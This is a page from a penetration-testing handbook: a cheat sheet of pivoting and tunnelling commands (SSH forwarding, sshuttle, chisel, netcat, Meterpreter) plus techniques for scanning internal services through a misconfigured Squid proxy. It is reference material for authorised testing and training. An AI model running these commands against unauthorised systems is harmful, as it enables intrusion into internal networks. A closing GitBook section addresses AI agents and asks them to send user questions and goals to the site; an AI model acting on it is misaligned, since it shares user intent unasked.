> For the complete documentation index, see [llms.txt](https://www.pentest-book.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentest-book.com/post-exploitation/pivoting.md).

# Pivoting

{% embed url="<https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019>" %}

```
# SSH local port forwarding
ssh user@ssh_server -L [bind_address:]local_port:destination_host:destination_hostport
ssh noraj@192.168.2.105 -L 127.0.0.1:32000:10.42.42.2:80 -N


# SSH reverse remote port forwarding
ssh user@ssh_server -R [bind_address:]remote_port:destination_host:destination_hostport
ssh noraj@192.168.2.105 -R 192.168.2.105:15000:127.0.0.1:9999

# SSH dynamic port forwarding
ssh user@ssh_server -D [bind_address:]local_port
ssh noraj@192.168.2.105 -D 127.0.0.1:12000 -N

# SSHUTTLE
# You can tunnel via ssh all the traffic to a subnetwork through a host.
# Example, forwarding all the traffic going to 10.0.0.1/24
pip install sshuttle
sshuttle -r user@host 10.0.0.1/24

# MSF
meterpreter > portfwd add -l 80 -r 172.16.0.0 -p 80

# Netcat
nc -l -p < port to listen on> 0<pivot | nc 1>pivot
# Ncat Http Proxy
ncat -vv --listen 3128 --proxy-type http

# Local Port2Port
#Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1
#Remote port 1521 accessible in port 10521 from everywhere 
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 

# Port2hostnet (proxychains)
# Local Port --> Compromised host(SSH) --> Wherever
ssh -f -N -D <attacker_port> <username>@<ip_compromised>

# Remote Port Forwarding
ssh -N -R 10.10.1.1:4455:127.0.0.1:445 attacker@10.10.1.1
# Socks5 with SSH
ssh -N -D 127.0.0.1:8888 admin@10.1.1.1

#SSH Dynamic Port Forwarding
ssh -N -D 127.0.0.1:1337 user@remotehost -p 8888

# SSH graphical connection (X)
ssh -Y -C <user>@<ip> 
# <-Y is less secure but faster than -X>

# HTTP tunnel
# Port forwarding
chisel server -p 8080 --host 192.168.2.105 -v
chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:10.42.42.2:80
# Reverse remote port forwarding
chisel server -p 8888 --host 192.168.2.149 --reverse -v
chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:10.42.42.2:80
```

## Squid proxy (HTTP CONNECT)

A misconfigured Squid proxy (default port 3128) can reach loopback-only services and internal subnets, because the CONNECT method opens a TCP tunnel to any host:port allowed by its ACLs.

{% embed url="<https://en.hackita.it/articoli/porta-3128-squid-proxy/>" %}

```
# Check if the proxy relays requests
nmap -Pn -sV -p 3128 --script http-open-proxy 10.10.10.10
curl -x http://10.10.10.10:3128 http://127.0.0.1:8080/ -v
# 407 = authentication required
curl -x http://user:pass@10.10.10.10:3128 http://127.0.0.1:8080/ -v

# Proxychains over HTTP (only TCP connect scans work)
# /etc/proxychains.conf
# [ProxyList]
# http 10.10.10.10 3128
proxychains nmap -sT -Pn -n -p- 127.0.0.1

# Port scan through the proxy with the CONNECT method and banner grabbing
# https://github.com/hack-ita/mysquidscanner
python3 mysquid.py --proxy 10.10.10.10:3128 --target 127.0.0.1 --ports 22,80,443
python3 mysquid.py --proxy user:pass@10.10.10.10:3128 --target 192.168.1.50 --allports
# Status: OPEN, BLOCKED (403 by the Squid ACL, not necessarily closed), CLOSED, AUTH (407), TIMEOUT

# Cache manager
curl http://10.10.10.10:3128/squid-internal-mgr/info
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://www.pentest-book.com/post-exploitation/pivoting.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
